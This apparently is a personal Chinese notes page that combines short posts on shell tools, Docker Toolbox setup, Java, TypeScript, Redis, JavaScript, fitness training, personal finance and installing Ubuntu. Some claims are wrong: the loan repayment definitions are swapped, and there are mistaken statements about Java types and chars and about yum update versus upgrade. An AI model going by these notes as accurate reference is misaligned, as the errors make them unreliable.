$ echo -e 'a\nb\nc' | xargs -L 1 echo # 这里echo运行了3次(\n作为分隔符已经消失了)
a
b
c

以上-L-n都可以解决xargs所调用的命令接受不了太多参数会报错的问题(因为可以一个个参数来运行多次命令)

黄金搭档find命令, xargs怎么处理文件名包含空格(分隔符)的情况呢?
find默认每个找到的文件以\n分隔, 也就是一行一个, -print0表示find命令用null作为分隔符
而xargs的-0刚好可以用null作为分隔符~

$ find /path -type f -print0 | xargs -0 rm # 表示删除/path及其子目录下的所有普通文件

高级玩法

  • -I 可以运行多个不同命令
  • --max-procs 表示并行运行多少个命令 默认为1, 如果命令要执行多次, 必须等上一次执行完,才能执行下一次
$ cat foo.txt
one
two
three

$ cat foo.txt | xargs -I file sh -c 'echo file; mkdir file' # file代表foo.txt里面的参数
one 
two
three

$ ls 
one two three

参考: https://www.ruanyifeng.com/blog/2019/08/xargs-tutorial.html

Linux升级命令yum upgrade和yum update的区别

yum -y update 升级所有包同时也升级软件和系统内核
yum -y upgrade 只升级所有包,不升级软件和系统内核
参考: https://blog.51cto.com/461205160/2095258

CentOS安装EPEL

EPEL全称: Extra Packages for Enterprise Linux
yum install epel-release
安装EPEL后, 相当于添加了个第三方源, 意思就是可以安装更多的东西啦
参考: https://blog.csdn.net/yasi_xi/article/details/11746255

Windows7下通过DockerToolbox安装Docker

简介

Win10x64家庭版以上的支持HyperV虚拟机(Win8及以上),可以直接安装Docker,如果是Win7的话,只能通过安装DockerToolbox来安装Docker

下载必要软件

  1. 最新版的VirtualBox
    代替Win10的HyperV,之所以Windows需要虚拟机是因为Docker是基于Linux的,需要虚拟机提供一个Linux的环境以安装Docker的服务端(Docker基于C/S结构)
  2. 最新版的boot2docker
    精简版的Linux镜像(基于Tiny Core Linux),提供Linux环境(Docker主机)
  3. 最新版的DockerToolbox
    Docker和它的工具,如docker-machine(用于和虚拟机通讯,实现Windows访问Docker)、docker-compose(编排工具)、Kitematic(图形界面)、Boot2Docker(精简版的Linux)、VirtualBox
  • Docker Client for Windows(Docker命令行客户端)
  • Docker Machine for Windows(在Win下沟通VirtualBox创建Docker主机)
  • Docker Compose for Windows(Docker编排工具)
  • VirtualBox
  • Kitematic for Windows(Docker和Docker Hub的GUI客户端)
  • Git for Windows(也可去git-scm下载最新版)

可以看到,DockerToolbox本身已经提供了VirtualBox和Boot2Docker,但是版本太老,所以要下载最新的

安装DockerToolbox

Select Components的时候,另外下载安装的软件就不需要勾选了,另外VirtualBox只能强制安装,所以需要等DockerToolbox安装完之后,卸载VirtualBox再重新安装最新的版本
Select Additional Tasks的时候,不要勾选Upgrade Boot2Docker VM,它会升级boot2docke.iso还是那句话会很慢、、、

环境搭建

Windows环境从来都是不省心的,所以也还需要手动搭建一番
在~或者C:\Users\Administrator(用户主目录)创建如下目录结构:

.docker (这里其实都是由docker-machine读取或创建的)

machine

machines(Boot2Docker的虚拟机实例)
chache(boot2docker.iso要放在这里)
certs(自动生成的证书)

这里最需要关心的是~/.docker/machine/cache目录了(其它都可自动生成),boot2docker.iso不在这里或者版本低了docker-machine都会自动从git下载,由于众所周知的原因,虽然boot2docker.iso只有几十兆,但那速度你懂的

然后修改Docker Toolbox安装目录下的start.sh,确保docker-machine和VirtualBox的VBoxManage.exe(VirtualBox的命令行界面)的环境变量能够被start.sh识别不至于报错

# 指定DockerToolbox的安装目录(docker-machine)
export DOCKER_TOOLBOX_INSTALL_PATH=/d/Program\ Files/Docker\ Toolbox
export PATH="$(win_to_unix_path "${DOCKER_TOOLBOX_INSTALL_PATH}"):$PATH"
VM=${DOCKER_MACHINE_NAME-default}
DOCKER_MACHINE="${DOCKER_TOOLBOX_INSTALL_PATH}\docker-machine.exe"

STEP="Looking for vboxmanage.exe"
# 指定VirtualBox的安装目录(VBoxManage),还有注释下面的if以免VBOXMANAGE被覆盖
export VBOX_INSTALL_PATH=/d/Program\ Files/Oracle/VirtualBox
VBOXMANAGE=/d/Program\ Files/Oracle/VirtualBox/VBoxManage.exe
#if [ ! -z "$VBOX_MSI_INSTALL_PATH" ]; then
#  VBOXMANAGE="${VBOX_MSI_INSTALL_PATH}VBoxManage.exe"
#else
#  VBOXMANAGE="${VBOX_INSTALL_PATH}VBoxManage.exe"
#fi

注意这里面是Linux形式的目录,空格要加反斜杠转义或者把整个目录用引号包起来
笔者安装Docker Toolbox是在D:\Program Files,如果读者是安装在C盘,那就是/c/xxx

启动Docker

进入Docker Toolbox安装目录

./start.sh #  启动Docker服务端
docker-machine ip # 返回服务端虚拟机的IP
# 其它验证方法
docker info
docker run hello-world

停止Docker服务端

docker-machine ls
docker-machine stop NAME

以后在开启Docker的服务端只需要docker-machine start NAME而不是./start.sh就行啦~
注意每次开启虚拟机的时候都会重新申请一遍ip很慢,可以去控制面板\网络和 Internet\网络连接修改虚拟机的适配器,手动指定IP

启动容器问题

在使用git for windows(mintty)打开容器的时候docker run alpine -it /bin/sh,会报错,只能用CMD.exe或者winpty docker run alpine -it /bin/sh,因为mintty不是全功能的,功能不全会导致报错

docker登录

winpty docker login # 登录docker hub
docker login --username xxx --password xxx  url # 登录阿里云docker

Windows下安装make

项目构建可能会用到make build,在已经安装了git的情况下(相当于安装了精简版的mingw),去 这里 下载 Binaries 和 Dependencies,直接解压到git_root_path/mingw64

参考

window7下利用DockerToolbox安装Docker
[完美解决]如何在windows安装docker toolbox,使用tensorflow,Jupyter Notebook,各种问题的解决方案

Java学习笔记——part2

使用对象

  1. 导包(如果类在同一包下则不用导入):import 包名.类名
  2. 创建:类名 对象名 = new 类名();
  3. 使用:对象名.成员变量对象名.成员方法(参数)

注意:因为成员变量属于对象在堆里,而堆默认为0, 所以成员变量可以不初始化,默认为0

类与对象在内存中的表示

  • 类在方法区
  • new出来的对象在堆里,对象的成员方法其实是指向方法区的引用
  • 成员方法要进栈才能运行

成员变量和方法变量

他们的作用域是可以重叠的!
如果只是方法变量的话,同名变量的作用域不能重叠。

public class Main {
    static int a = 1;
    public static void main(String[] args) {
//        int a = 2;
        System.out.println(a); // 1
    }
}

关于this

就是看这个类有没有实例化 如果有 加不加this区别不大 如果没有那么不能使用this
可以看到Java中的this只在同名的情况下有用,区分成员变量和方法变量,其他时候没啥用
如果类没有实例化为对象,那么静态方法只能调用静态的方法和成员变量

构造方法

构造方法的名称与类名完全相同,修饰符为public(也可以没有任何修饰符),没有返回值类型(void都没有)、没有return,但是它就是可以返回一个对象!
因为构造方法也是方法,所以构造方法可以重载!
如果没写构造方法,那么默认的构造方法就是public 类名() {},但是如果写了构造方法,那么这个默认的就没了,如果你要,你还得手动写!

public class Person {
    private static int age;

    public Person (int age) { // 如果没写 那么默认的构造方法就是 public Person () {}
        this.age = age;
    }
}

Java类的最佳实践:Java Bean

  1. 所有成员变量都使用private
  2. 所有成员变量都有相应的Getter Setter
  3. 编写一个全参数的构造方法(构造方法可以设置所有的成员变量)
  4. 编写一个无参数的构造方法

Idea自动生成Getter Setter:Alt+Insert(也可以生成构造方法)

《施瓦辛格健身全书》笔记

练到力竭(加重)

做完一组后,如果不休息,那么一个都做不了(练到所有肌纤维)

强力练习(大重量低次数)

热身组后,使用大重量低次数(6~8次),通常强力练习和练到力竭是联系在一起的

做组原则

  • 第一组:轻重量15次多点(热身组)(感受肌肉发力)
    注意:如果之后加大重量跟热身组的动作有差异,那么说明太重导致动作变形,需要重新减重感受
  • 第二组:加重到只能做10~12次
  • 第三组:加重到8~10次力竭
  • 第四组:加重到只能做6次(强力组)
  • 第五组:不加重,再做6次,可辅助(强迫次数组)(可选)

大肌肉群因为复杂需要多组数,每个部位12组(3个动作 * 4组)到20组(45或54)
小肌肉群不需要太多组(9~12组)
例外:肱二头肌虽然小但是恢复快,小腿肌肉耐力好,所以可以用多组数

组间休息

第1分钟力量就已经恢复了72%,3分钟完全恢复,不要让肌肉完全恢复
肌肉的耐力和强壮程度成正比

呼吸

放松时吸气,用力时呼吸而不是闭气(避免受伤)

健身受伤的主要原因

  1. 使用重量过重或不能完全控制的重量(不合适的技巧)
  2. 没有进行恰当的拉伸和热身

重磅日

每周一次,选择一个部位,采用最大力量的动作(知道自己极限在哪里)
目的:肌肉的厚度、密度和硬度
注意:最好有人辅助(避免顾虑)

心得体会

  • 目标注重大肌肉群的练习(强力练习)
  • 除了练习,休息(包括睡眠)、拉伸、热身、营养可能更重要
  • 3分练7分吃

训练计划:阶段一

周一、周四

胸部

  • 卧推
  • 上斜卧推
  • 仰卧上拉

背部

  • 引体向上(尽量多做 50次为目标)
  • 俯身划船
  • 硬拉 10+6+4(力竭)

腹部

  • 卷腹 25*5

周二、周五

肩部

  • 提铃上举
  • 哑铃侧平举
  • 大重量直立划船 10+6+4(力竭)
  • 借力推举 10+6+4(力竭)

上臂

  • 站姿杠铃弯举
  • 坐姿哑铃弯举
  • 窄握推举
  • 站姿杠铃臂屈伸

前臂

  • 腕弯举
  • 反握腕弯举

腹部

  • 反向卷腹 5*25

周三、周六

大腿

  • 深蹲
  • 弓步
  • 腿弯举

小腿

  • 站姿提踵 5*15

下背

斜方肌、股二头也会练到

  • 直腿硬拉 10+6+4(力竭)
  • 负重体前屈 10+6+4(力竭)

腹部

  • 卷腹 5*25

TypeScript学习笔记

安装TypeScript

  1. 安装Node.js
  2. 安装TypeScript包
    sudo npm install typescript -g
  3. 编写HelloWorld
mkdir ts_learn && cd ts_learn
npm init -y # 生成package.json文件
tsc --init # 生成tsconfig.json文件
npm i -D @types/node # 这个主要是解决模块的声明文件问题
  1. 编译ts文件至js运行
tsc xxx.ts
node xxx.js

在线学习资源

TypeScript中文文档
Playground · TypeScript
TypeScript免费视频教程 ,Deno前置知识 (共15集)

TypeScript中的数据类型

  • undefined:
  • number:数值类型;
  1. NaN:Not a Number, 使用Math.isNaN(x)验证
  2. Infinity :正无穷大
  3. -Infinity:负无穷大
  • string : 字符串类型
  • boolean: 布尔类型
  • enum:枚举类型
  • any : 任意类型
  • void:空类型
  • array : 数组类型
  • tuple : 元组类型
  • null :空类型

使用类型定义变量

var a:any = 1
var b:boolean = true

enum类型

enum REN1{nan, nv, yao}
console.log(REN1, REN1.nan)

enum REN2{ nan = '男', nv = '女', yao= '妖' }
console.log(REN2, REN2.nan)

等价于

var REN1;
(function (REN1) {
    REN1[REN1["nan"] = 0] = "nan";
    REN1[REN1["nv"] = 1] = "nv";
    REN1[REN1["yao"] = 2] = "yao";
})(REN1 || (REN1 = {}));
console.log(REN1, REN1.nan);

var REN2;
(function (REN2) {
    REN2["nan"] = "\u7537";
    REN2["nv"] = "\u5973";
    REN2["yao"] = "\u5996";
})(REN2 || (REN2 = {}));
console.log(REN2, REN2.nan);

运行结果

{ '0': 'nan', '1': 'nv', '2': 'yao', nan: 0, nv: 1, yao: 2 } 0
{ nan: '男', nv: '女', yao: '妖' } '男'

2019理财计划

2019理财计划

净资产=现有资产-负债
每年实际盈余=未来能赚的钱-每月支出
可利用的资源=净资产+每年实际盈余

投资理财前

  • 没有闲置资金
    通过存钱进行原始积累
  • 有闲置资金
    不要借钱投资,根据投资门槛选择

理财需求(为什么要理财)

长期投资需要较高的流动性,不宜大额购买长期理财产品

  1. 长期刚需(中低风险投资)
    • 教育费
    • 医疗费
    • 买房费
  2. 资金增值(选高风险的)

根据风险选择理财类型

  1. 能承受较高风险
    • 股票
    • 基金
  2. 能承受较低风险
    • 稳健型投资

家庭理财定理

  • 4321方案
    • 储蓄40%
    • 衣食住行30%
    • 投资20%
    • 保险10%
  • 三一定律
    • 每月房贷1/3
  • 双十定律
    • 保额 < 总收入 * 10
    • 保费 == 年收入 * 10%

学会记账

  1. 每月定期统计收入、支出的比例和变化
    • 每月收入
    • 房租水电(固定支出)
    • 三餐、交通、购物(日常支出)
    • 旅行等(非日常支出)
  2. 每月定期记录和统计
    • 现有的房产、汽车(固定资产)
    • 现金、存款、支付宝(流动资产)
    • 股票、理财(投资资产)
    • 房贷、车贷(长期负债)
    • 信用卡欠款、花呗(短期负债)

消费原则

  1. 耐用品(长期使用的、常用工具、电器)
    • 质量好、品牌好
    • 不要附加功能
    • 基本款
  2. 快消品
    • 过节、促销时一次多囤点
  3. 每月预估要用的钱,单独拎出来
  4. 多做饭、少在外面吃
  5. 有计划的消费,不要冲动消费

选择投资项目

按收益类型区分个人投资

  1. 保证收益型
    • 银行存款
    • 储蓄式国债
    • 保证收益型银行理财产品
  2. 保本浮动收益型
    • 到期收益可能为0,但是保本
  3. 非保本浮动收益型
    • 股票
    • 基金

增强风险意识

  1. 了解产品本身
  2. 详细查看产品合同和章程(法律)

定个小目标

  1. 未来一段时期内的储蓄目标和进程
  2. 定一个要买的东西,列出
    • 所需金额
    • 开始时间
    • 结束时间
    • 计划完成时间
  3. 省下来的钱单独存放

投资自己是最好的投资

  1. 及时充电
    • 英语
    • 会计
    • 理财知识
    • 线下活动、会议
  2. 规划未来(3~5)
    • 重大支出
    • 定期检查与目标的差距
    • 近期需要多少钱、能承受多少风险

个人收入与投资理财的关系

个人收入:每个月拿到手的钱

  • 生活费1/3:房租水电吃饭
  • 储蓄1/3
    • 强制储蓄10%
      应该长期具有3-6个月的生活费
  • 活动资金1/3:旅行、购物、投资

参考

人民日报

Redis

redis是单线程,跟js一样

redis的数据结构(type)

  1. string( 字符串)
  2. hash( 哈希)
  3. list( 列表)
  4. set( 集合)
  5. zset( 有序集合)

redis的内部编码

一种数据结构可以有多种内部编码的实现,一种内部编码也可以实现多种数据结构(多对多的关系)

string

  1. raw
  2. int
  3. embstr

hash

  1. hashtable
  2. ziplist

list

  1. linkedlist
  2. ziplist

set

  1. hashtable
  2. intset

zset

  1. skiplist
  2. ziplist

redis-cli增删改查

注意:Windows版的redis-cli没有127.0.0.1:6379> 提示符,操作符也只支持大写如GET name

set key value [EX 秒| PX 毫秒] [NX|XX]
rpush key value [value...] # list
mset key value [key value ...] # 同时赋值多个节省带宽 返回OK
# 设置空key名或者夹带空格符
set '' xxx
set 'x  x' xxx

del key [key...] # 返回成功删除的个数 删除不存在的返回0
expire key 秒 # 设置过期时间 (延迟删除)
ttl key # >0有过期时间 还剩多少秒 -1没有设置过期时间 -2不存在这个键

set key value

get key
mget key [key ...] # 返回一个list,长度与输入的key对应,不存在的key返回(nil)
exists key # 存在返回1不存在返回0
keys *  # 获取所有的key
keys 1* # 以1开头的key
dbsize  # 获取key数(性能)
type key # 查看key的数据结构类型 一般都是string如果键不存在返回none
object encoding key  # 查看key的内部编码类型

生活常识

等额本金和等额本息

这两个都是贷款的还款方式中的两种,先说明,其实最后还的其实是差不多的,但是在贷款的用途上有区别:等额本息更加适合理财。

  • 等额本金:每月还固定的钱(每月本金+剩余本金月利息)
  • 等额本息:每月还本金相等(贷款总额/贷款年数/12个月)

如果不是为了理财,那么选择等额本金:

  • 较少的贷款总额度
  • 减少贷款的年份
  • 提前还款

如果是理财,那么可以贷款多点,还款久点,利息不用怕,因为理财赚的比利息高,还是划算的

参考:等额本息和等额本金,提前还款哪种更好?

财产保全

属于《民事诉讼法》的诉讼财产保全,防止负债人耍赖不还

股权出质

质就是质押的意思,质押股权获取资金

财富的本质

  1. 预期
  2. 信用

JavaScript的经验之谈

不要使用toLocaleString

toLocaleString = toLocaleDateString + toLocaleTimeString 虽然好看,但是不可逆(从String还原成Date),还不如使用

new Date().toGMTString() // Mon, 11 Nov 2019 08:44:47 GMT

new Date().toISOString() // 2019-11-11T08:44:55.976Z
new Date().toJSON() // 2019-11-11T08:47:45.854Z

new Date().toTimeString() // 16:45:05 GMT+0800 (**标准时间)

new Date().toString() // Mon Nov 11 2019 16:45:14 GMT+0800 (**标准时间)
new Date() // Mon Nov 11 2019 16:47:16 GMT+0800 (**标准时间)

new Date().toUTCString() // Mon, 11 Nov 2019 08:45:26 GMT

解构赋值

对于一维对象,可以进行变量改名,和设置默认值

const person = { name: 'yy', age: 22 }
const { name: n, age = 18, sex = 'male' } = person
console.log(n, age, sex) // yy 22 male

处理嵌套对象

const persons = { yy: { n: 'yy', a: 22 }, zz: { n: 'zz', a: 21 } }
const { yy: { n: name, a: age } } = persons
console.log(name, age) // yy 22

参考: 深入理解ES6--5.解构:更方便的数据访问

reduce去重

本质:打标记

/**
 * @description
 * 数组去重
 * 核心**: 打标记
 * @param {Array} arr
 * @returns {Array} 返回去重后的数组
 */
function arrDedup(arr) {
    if (!Array.isArray(arr)) throw new Error('非数组')
    const mark = []
    return arr.reduce((cur, next) => {
        if (!mark[next]) {
            mark[next] = true
            cur.push(next)
        }
        return cur
    }, [])
}

两个数组是否相等

如果是无序的怎么处理

/**
 * @description
 * 无序相等
 * [1, 2] == [2, 1]
 * @param {Array} arra
 * @param {Array} arrb
 * @returns {Number} 不同之处有几处
 */
function unorderEqual(arra, arrb) {
    if (!Array.isArray(arra) || !Array.isArray(arrb)) throw new Error('非数组')
    // [] [""] 应该相等
    // 去除空元素
    arra = arra.filter(x => x)
    arrb = arrb.filter(x => x)
    const arr = this.arrDedup([...arra, ...arrb])
    return Math.abs(arr.length - arra.length)
}

goto 的替代品 label 标记

js 没有 goto 语句,标记只能和 break 或 continue 一起使用,最方便的就是用于跳出最外层循环

  • continue 只能标记循环
  • break 可以标记任何语句

label 用于 continue

loop:
for (let i = 0; i < 3; i++) 
   for (let j = 0; j < 3; j++)
      if (i == 1 && j == 1)
		continue loop
      else 
		console.log(i, j)
/**
结果:  跳过 i == 1 && j == 1
0 0
0 1
0 2
1 0
2 0
2 1
2 2
*/

label 用于 break

loop:
for (let i = 0; i < 3; i++) 
   for (let j = 0; j < 3; j++)
      if (i == 1 && j == 1)
		break loop
      else 
		console.log(i, j)
/**
结果:  在 i == 1 && j == 1 处截止
0 0
0 1
0 2
1 0
*/

关于时间口语化表达的纠结

在今天凌晨,说昨天23点59分,可以说是一天前吗?

/**
 * @description
 * 时间转换为更加口语化的形式
 * @param {String|Number} before 传string就是可以转为时间格式的字符串 传number就是时间戳 两者都可以放入new Date()
 */
const computeTime = before => {

  /**
   * Date对象直接相减就是时间戳的相减
   */
  before = new Date(before)
  const mid = new Date() - before

  /**
   * 相差多少天前是 向上(ceil) 取整
   * 比如 前天晚上 可以说 两天前 Math.ceil(((new Date('2019/10/16 00:00') - new Date('2019/10/14 23:59')) / 86400000)) 1.0006944444444446 -> 2
   * 比如 昨天晚上 可以说一天前 Math.ceil((new Date('2019/10/16 00:00') - new Date('2019/10/15 23:59')) / 86400000) 0.0006944444444444445 -> 1 跟下面的情况一样 差距太小不能说一天前 而是说 而是更小单位前
   * Math.ceil((new Date('2019/10/15 12:12') - new Date('2019/10/15 12:11')) / 86400000) 0.0006944444444444445 
   */
  const dayDiff = mid / 86400000

  /**
   * 30天或以上直接显示日期 YYYY年MM月DD日
   * date是month中的天 day是week中的天
   * const hours = before.getHours()
   * const minutes = before.getMinutes()
   * const secends = before.getSeconds()
   * const millisecends = before.getMilliseconds()
   */
  if (parseInt(dayDiff) >= 30) {
    const year = before.getFullYear()
    const month = ('00' + (before.getMonth() + 1)).slice(-2)
    const date = ('00' + before.getDate()).slice(-2)
    return `${year}${month}${date}日`
  }

  else if (1 < dayDiff && dayDiff < 7) return Math.ceil(dayDiff) + '天前'

  else if (7 <= parseInt(dayDiff) && dayDiff < 30) return Math.ceil(dayDiff / 7) + '周前'

  else if (mid / 3600000 > 1 && mid / 60000 > 60) return Math.ceil(mid / 3600000) + '小时前'

  else if (1 < mid / 60000 && mid / 60000 < 60) return Math.ceil(mid / 60000) + '分钟前'

  else return '刚刚'
}

为什么for...in和for...of可以用const但是for不行?

首先看看var, let, const三者的区别

名称 重新定义 重新赋值
var
let
const
const arr = [1,2,3]
for (const i in arr) console.log(i) // ok
for (const i of arr) console.log(i) // ok
for (const i = 0; i < arr.length; i++) console.log(i) // error

for...in for...of可以理解为是函数, 每次迭代相当于调用一次函数,生成一个新的作用域,相当于定义了多个作用域中值不同的const i,没有重新赋值,而 for 循环只生成了一次作用域

任何 async 函数都会返回一个 promise

async function f () {
    console.log('await func')
}
f() // Promise {<resolved>: undefined}
await f() // 直接把 resolve 的 undefined 取出来了

何如优雅地处理 aysnc/await 的异常?

async/await + then(promise) + Go语言风格错误处理[err, data]

const promisify = (name = '', opts = {}) => 
  new Promise((success, fail) => 
    wx[name]({ ...opts, success, fail })
  )

const [err, shopCart] = await promisify('getStorage', { key: 'shopCart' })
.then(({ data: shopCart }) => [null, shopCart], err => [err])

console.log(err, shopCart)

错误只要不 throw 那都好说
参考: async/await 优雅的错误处理方法
参考: 13篇文章,教你学会ES6知识点

Java学习笔记——Part1

常量

  1. 字符串常量
  2. 字符常量
  3. 整数常量
  4. 浮点数常量
  5. 布尔常量
  6. 空常量
    null

变量

  1. Java变量区分大小写
  2. 类名大驼峰
  3. 变量名小驼峰
  4. 作用域影响之内不能重复定义,之外就可以
// 可以
{
	int i = 1;
}
int i = 0;
// 不行
int i = 0;
{
	int i = 1;
}
// 可以
{
	int i = 1;
}
{
	int i = 2;
}

数据类型

  1. 基本数据类型(4类8种)
    1. 整数型
      • byte 1B 255
      • short 2B 65535
      • int 4B 默认 42亿
      • long 8B 10^19
    2. 浮点型
      • float 4B 10^38
      • double 8B 默认
    3. 字符型
      • char 2B
    4. 布尔型
      • boolean 1B
  2. 引用数据类型
    1. 字符串
    2. 数组
    3. 接口
    4. Lambda

注意

  1. 1B表示1字节bytes
  2. 字节数不是越长表示越大,float就比long表示范围要大
  3. 字符串String是引用类型不是基本类型

数据类型转换

  1. 自动类型转换(隐式)
    从小到大原则:数据范围从小到大,以最大的为准,否则报错(避免精度损失、数据溢出)。
    注意:是数据范围的大小,而不是字节数的大小,比如float和long
long n = 100; // int to long 从小到大
1.5F + 1.5; // float to double 整个表达式的结果为double型
'A' + 1; // 66 char to int 字符编码ASCII码A的十进制表示为65

注意:整数类型只要是进行了算术运算,首先会提升为int类型然后再进行运算,即使表达式中并没有int类型的变量

System.out.println('A' + 'a'); // 162
  1. 强制类型转换(显式)
    强制类型转换可以违反从小到大原则而不会报错(可能会精度损失、数据溢出)
int n = (int)100L; // 语法正常(不报错)运行也正常
/**
 * 1. 数据溢出
 * 60亿16进制为 165A0BC00 为9字节
 * 而int只能存8字节 也就是 65A0BC00 
 * 也就是 1705032704 这就是所谓的发生了溢出
 * 所以溢出的意思就是我存不下,只存了一部分的东西,多出的“溢出”了
 */
int m = (int)6000000000L; // 60亿 long to int 溢出
System.out.println(m); // 1705032704 17亿
/**
 * 2. 精度损失
 * 注意:精度损失不是四舍五入
 */
int d = (int)3.1415; // double to int 精度损失
System.out.println(d); // 3

问题:后缀(如100L)算强制类型转换吗?
注意:boolean类型不能发生数据类型转换!

字符类型

  1. ASCII码表 American Code for Information Interchange 美国信息交换标准代码
  2. Unicode码表 万国码 兼容ASCII和emoj表情

ASCII码常用数值:

  1. 10 '\n'
  2. 32 ' '
  3. 48 '0'
  4. 65 'A'
  5. 97 'a'
// 10 32 48 65 97
System.out.printf("%d %d %d %d %d\n", '\n'+0, ' '+0, '0'+0, 'A'+0, 'a'+0);

注意:中文是多字节很显然不能用char类型表示,因为不够

System.out.println('中'); // 报错
char ch = '中'; // 报错 据说jdk9可以? 当前jdk13
System.out.println(ch);

+运算符

对于+表达式,只要里面有字符串,则其它也会变成字符串然后运算,而字符串之间的+号运算是字符串连接(跟js很像)

'a' + 'b' == 'ab';
'a' + 10 == 'a10'

静态方法调用不用加this

this是表示当前实例

public class Hello {

	public static void main(String[] args) {
		hello();
	}

	public static void hello () {
		System.out.println("Hello");
	}
}

switch可以接受的数据类型

基本类型:byte、short、char、int
引用类型:String、enum

Java编译器优化

右值(赋值号右边)如果是常量表达式且值没超出范围就自动类型转换并赋值(不清楚是不是属于隐性类型转换),否则报错

byte a = 1; // ok
byte a = 128; // error

如果右值是含有变量的话那就没有这个优化了

byte a = 1;
byte b = 2;
byte c = a + b; // error int 无法转为 short

int a = 1;
byte b = a; // error 同理

所以可以看出,以上是编译器对于常量进行的优化,直接把常量表达式替换为一个常量

JDK9及以后的新特性

JShell

JShell是一个交互式的运行Java代码的小工具,相当于在main函数里面键入
jshell> 提示符后输入表达式或语句回车即可运行(都会被当做表达式)
就算重复定义一个变量也没事,以最近的一次为准
用/list查看输入的表达式(就算是只有一个常量也算一个表达式)
使用$开头的数字相当于运行了对应的语句 取得对应语句的值

jshell> 'a'

jshell的一些基本命令(以斜杠开头,并不会记录在/list里)

  • jshell 进入 jshell
  • /exit 退出 jshell
  • /list 列出输入的表达式
  • /drop 删除输入的变量 (其实不用,因为jshell可以重复定义)

Java项目结构

项目 - 模块 - 包 - 类

InterlliJ IDEA使用技巧

  • psvm: main函数的补全缩写
  • keymap -> code -> completion
  • Alt+Enter 自动导包,修复代码
  • Alt+Insert 自动生成代码 toString、get、set
  • Alt+Shift+方向键 移动当前代码行
  • Ctrl+Y 删除当前行
  • Ctrl+D 复制一份当前行到下一行
  • Ctrl+Alt+L 代码格式化
  • Ctrl+/ 单行注释 取消注释
  • Ctrl+Shit+/ 选中代码注释 多行注释 取消多行注释
  • Ctrl+右键:查看原型
  • 导入模块:File - Project Structure(Ctrl+Alt+Shift+S) - Modules - Add(Alt+Insert) - Import Module
  • Shift+F6:选中变量,同时改变多个变量

Java方法重载

方法重载只跟参数的数量、类型有关,与修饰符、返回值的类型、参数的名称无关

Java数组

  1. 是引用数据类型
  2. 存多个值,但是类型只有一个
  3. 运行时数组的长度不可变

数组的两种初始化方式

  1. 动态初始化(指定长度):T[] name = new T[length];(默认填充0)
  2. 静态初始化(指定内容):T[] name = new T[]{ elem1, elem2, ... };

静态初始化省略格式:T[] name = { elem1, elem2, ... };(注意省略格式只能写成一行不能定义后才name = { elem1, elem2, ... };
静态初始化C语言风格:T name[]
注意:不能既指定长度,又指定内容,或者两个都不指定

数组动态初始化默认填充0:

  • int >>> 0
  • 浮点类型 >>> 0.0
  • char >>> '\u0000'
  • 引用类型 >>> null
  • boolean >>> false

char字符数组

字符数组跟字符串有些类似,但是不相等,共同点是都可以直接用println直接输出,如果是别的数组,直接打印出来的是内存地址哈希值,想要取数组里的值一般只能用循环去遍历数组名[索引值]
内存地址哈希值:[I@5f184fc6

  • [表示数组
  • I表示int类型
  • @分隔符?
  • 5f184fc616进制的内存地址
char arr[] = { 'a', 'b', 'c' };
System.out.println(arr); // abc

//
// char[]跟c语言中的也不完全一样
//
char arr[] = "abc"; // error

char arr[] = {'a', 'b', '\0', 'c'}; // 其实应该是'\u0000'
System.out.println(arr); // ab c

Java内存分为5个部分

  1. 栈 Stack
  • 存放方法中的局部变量
  • 栈定义的内存需要手动初始化否则用不了
  • 方法运行在栈中
  • 超过作用域,变量从栈内存消失
  1. 堆 Heap
  • new出来的(引用类型,注意保存地址的变量还是在栈)
  • 堆的默认值就是0(所以数组静态初始化也是先0)
  1. 方法区 Method Area
  • .class类的相关信息
  • 包含方法信息(方法运行要到栈运行)
  1. 本地方法栈 Native Method Stack
  • 操作系统相关
  1. 寄存器 Register
  • CPU相关

使用对象

  1. 导包(同一包下的类或者java.lang包下的类不用导包):import 包路径.类名
  2. 创建:类名 对象名 = new 类名();
  3. 使用:对象名.成员变量对象名.成员方法(参数)

Ubuntu安装

Ubuntu安装

标签(空格分隔): Linux Ubuntu 安装 笔记


简介

Ubuntu是基于Debain的免费开源的Linux发行版,其中apt-get方式的软件包管理,以及sudo方式的系统操作,简单、安全、便捷,甚至成为很多人的主力系统,其中Ubuntu Kylin(麒麟)是专为**用户的使用习惯而开发的,安装与使用方式与Ubuntu无二。本篇文章在介绍各种安装ubuntu方式的同时,也介绍了一些使用Ubuntu时要注意的,比如Ubuntu上面qq使用的解决方案、换源、更新软件等问题。

使用wubi.exe安装(Ubuntu14及以前版本)

现在没有wubi了是因为随着系统更新,这种安装方式存在很多bug,所以Ubuntu14以后就不支持这种方式安装了。这种安装方式的优点非常方便,能把Ubuntu像软件一样安装与卸载,并能够与Windows系统和谐共存形成双系统;缺点就是只能使用14或之前的版本。

  • 下载ubuntu-14.04.2-desktop-amd64.iso,并把里面的wubi.exe解压出来放在iso文件的同级目录。
  • 打开wubi.exe,设置用户名和口令进行安装,对同级的iso文件进行处理(只支持14.04.2这个版本)。处理完成后会提醒是否立即重启,选择立即重启。接下来系统就会进入到Ubuntu系统的安装了。
  • 安装完成后,系统重启就可以进行双系统的选择进入。

为/检查磁盘时出现严重错误

如果安装后启动界面出现为/检查磁盘时出现严重错误的提醒:

  • 首先,进入Ubuntu启动菜单时,按键盘上的e键,即可进入启动项编辑模式。将ro改成rw 后,按F10键,即可按照修改后的参数引导进入系统。
  • 然后,进入系统后,使用快捷键shift+alt+t打开终端输入sudo gedit /etc/grub.d/10_lupin后回车,即可调用文本编辑器打开启动项配置文件。在打开的编辑中搜索ro ${args}并定位到该文字项。将定位位置的ro修改为rw,然后保存并退出文本编辑器。再在终端输入sudo update-grub更新启动项配置,下次启动就不会看到这个提示了。

鼠标闪烁

进入桌面后如果有鼠标闪烁的问题,有的时候鼠标都看不到:

  • 进入控制面板->显示把未知屏幕关掉就行。
  • 建议不管是什么版本,都把未知屏幕都关掉,只保留一个屏幕。

换源

官方提供的源很慢,14的老版本有的地址都404失效了:

  • cp /etc/apt/sources.list /etc/apt/sources.list.bak备份源文件
  • sudo gedit /etc/apt/sources.list编辑源文件,把国内的源地址任选一组粘贴进去之后保存
  • sudo apt-get update更新源
  • sudo apt-get upgrade

UPDATE: update is used to download package information from all configured sources.
UPGRADE: upgrade is used to install available upgrades of all packages currently installed on the system from the sources configured via sources.list

源版本注意

注意源的版本跟系统的版本要一致,如deb http://mirrors.aliyun.com/ubuntu/ bionic main restricted universe multiverse中的bionic表示的是ubuntu18版本的源,如果ubuntu14要用,需要替换为trusty,不然软件安装升级时会出错误。一些系统版本代号:

  • 18.04 bionic
  • 17.10 artful
  • 16.04 xenial
